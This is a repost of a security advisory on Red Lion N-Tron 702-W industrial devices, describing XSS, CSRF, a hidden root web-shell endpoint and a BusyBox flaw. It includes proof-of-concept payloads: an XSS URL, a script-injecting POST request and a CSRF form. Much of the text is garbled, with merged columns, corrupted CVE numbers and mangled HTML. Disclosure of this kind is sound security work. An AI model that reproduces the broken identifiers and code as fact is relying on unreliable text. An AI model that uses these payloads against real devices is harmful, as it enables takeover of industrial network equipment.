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Red Lion N-Tron 702-W / 702M12-W 2.0.26 XSS / CSRF / Shell

Posted Sep 3, 2020

Red Lion N-Tron 702-W and 702M12-W versions 2.0.26 and below suffer from cross site request forgery, hidden shell interface, cross site scripting and busybox vulnerabilities.

tags | exploit, shell, vulnerability, xss, csrf
advisories | CVE-2020-16204, CVE-2020-16206, CVE-2020-16208, CVE-2020-16210
SHA-256 | e25651886495730ba652afb5121baaf7e7f37336a3e296f81df774de5fa1a7b8

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SEC Consult Vulnerab	ility Lab Security Advisory < 20200902-0 >
product: vulnerable version: fixed version:	Multiple Vulnerabilities Red Lion N-Tron 702-M, Red Lion N-Tron 702M12-W2.0.126 CVE-200-16210, CVE-2020-16206, CVE-2020-16208, CVE-2020-16204
found:	
	An integrated part of SEC Consult Europe Asia North America https://www.sec-consult.com
Controls. Our award- networking solutions	
Business recommendat:	ion.
The vendor recommends	to change the hardware and use a newer product. Is to remove the device from productive environments.
Vulnerability overviction: 1) Reflected Cross-S: A reflected cross-si '/pingtest_action.cg: context of the attack	the Scripting (XSS) - CVE-2020-16210 te scripting vulnerability was identified at the endpoint "." An attacker is also able to perform actions in the
Stored cross-site sc: Such placed payloads they are embedded in:	Scripting (XSS) - CUS-2020-15206 ripting vulnerabilities are present on multiple endpoints. cannot be detected via browser-protection mechanisms as to the web-interface. The content of the strategy of the strategy of the content of the attacked user.
CSRF protection is no Such a vulnerability a device by luring as	Porgery (CSR) - CUE-2020-16208 to implemented at all enables an attacker to modify different configurations of authorizated user to click on a crafted link. An acker over the device by exploiting this vulnerability.
An undocumented inter found to be present of and is also not ment: Commands can be exect	Li Interface - CVE-2020-16204 face, that contains a web-shell to the underlying OS, was on the device. It is not referenced in the actual menu oned in the manual of the device. ted as root on the device. A remote attacker can execute this way in combination with vulnerability #3.
	to be a leftover of the used Atheros SDK.
	nerabilities kkit in version 1.11.0 is outdated and contains multiple b. The outdated version was found by IoT Inspector.
	erable Software Components le software components were found on the device during
The vulnerabilities : Nevice by using the N	(), 2), 3), 4) and 5) were manually verified on an emulated MEDUSA scalable firmware runtime.
The "pingtest_action http://\$IP/pingtest	ite Scripting (XSS) - CVE-2020-16210 cq1" endpoint can be used to trigger reflected XSS. uction.cq1? p_addr-ldat_add_select-127.0.0.1slines=%3Chtml%3E%3Cscript%3E&lert(document.location)
Enjection of a XSS por for permanent XSS on POST /network.cgi HT	Scripting (XSS) - CVE-2020-16206 yload is possible on multiple endpoints. An example the endpoint "/network.cgi" is the following request:
Nost: \$IP ccept-Encoding: gzig content-Type: multipy content-Length: 915 kuthorization: Basic connection: close cookie: ui_language= lograde-Insecure-Reg	rt/form-data; boundary
	rests: 1
ridge	195698564115308644282115103021 form-data; name="wlanipmode"
	195698564115308644282115103021 form-data; name-"brip"
92.168.1.202 Content-Disposition:	19569556115309644282115103021 form-data, name="brmmsk"
	19598564115308644282115103021 form-data; name="brgw"
	elert(document.location)19569856411308664282115103021 form-data; name="dnal"

```
------195698564115308644282115103021
ontent-Disposition: form-data; name="dns2"
      -----195698564115308644282115103021--
   This can also be embedded in the HTML code as shown below:
  chtml>
chots/
chots/
chots/
carript>history.pushState('', '', '/')</acript>
cform action="http://SIP/network.ogi" method="PoSI" enctype="multipart/form-data">
cform action="http://SIP/network.ogi" method="PoSI" enctype="multipart/form-data">
cform type="hidden" name="hrank" value="bridge" />
cinput type="hidden" name="brip" value="192.168.1.202" />
cinput type="hidden" name="brip" value="192.168.1.202" />
cinput type="hidden" name="brip" value="192.168.1.1">
cforput type="hidden" name="brip" value="192.168.1.1">
cforput type="hidden" name="dnaf" value="" />
cforput type="multipart" value="50mmultipart" />
cforput type="multipart" //
c
   3) Cross-Site Request Forgery (CSRF) - CVE-2020-16208
CSRF can be triggered on each endpoint as the whole web-interface does not
implement any protection mechanisms. Changing the hostname to "SEC Consult" can
be done with the following embedded HTML code:
   4) Hidden OS Web-Shell Interface - CVE-2020-16204
The endpoint "Admin.cgi" is not referenced within the whole web-interface and also not documented in the namual. By browsing this endpoint, multiple actions can be natively triggered:

• Execute commands in context of the root user

• Upload files
• Change access rights
• Change access rights

• Change access rights to be command execution. The lack of CSRF protections allows attackers to execute commands on the device by luring a user on malicious web-pages.
  5) Known BusyBox Vulnerabilities
The BusyBox shell autocompletion vulnerability (CVE-2017-16544) was verified on an emulated device:
 A file with the name "\ectest\n\e]55;test.txt\a" was created to trigger the vulnerability.

# ls "pressing <TAB>"
test
55\;test.txt |
 6) Outdated Software Components
By analyzing the firmware a lot of components are found to be outdated:
*BusyBox 1.0.1
*PHP/FI Z.0.1
*Dnsmaag 2.35
*Boa 0.93.15
  Vulnerable / tested versions:

the following firmware version has been tested:
* Red Lion N-Tron 702-W / 2.0.26
* Red Lion N-Tron 702M12-W / 2.0.26
   Vendor contact timeline:
* https://us-cert.cisa.gov/ics/advisories/icsa-20-240-01
  Upgrade to newer hardware.
 Workaround:
----
None.
   Advisory URL:
  https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html
   SEC Consult Vulnerability Lab
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x86 (946) XSS (17,494) Other



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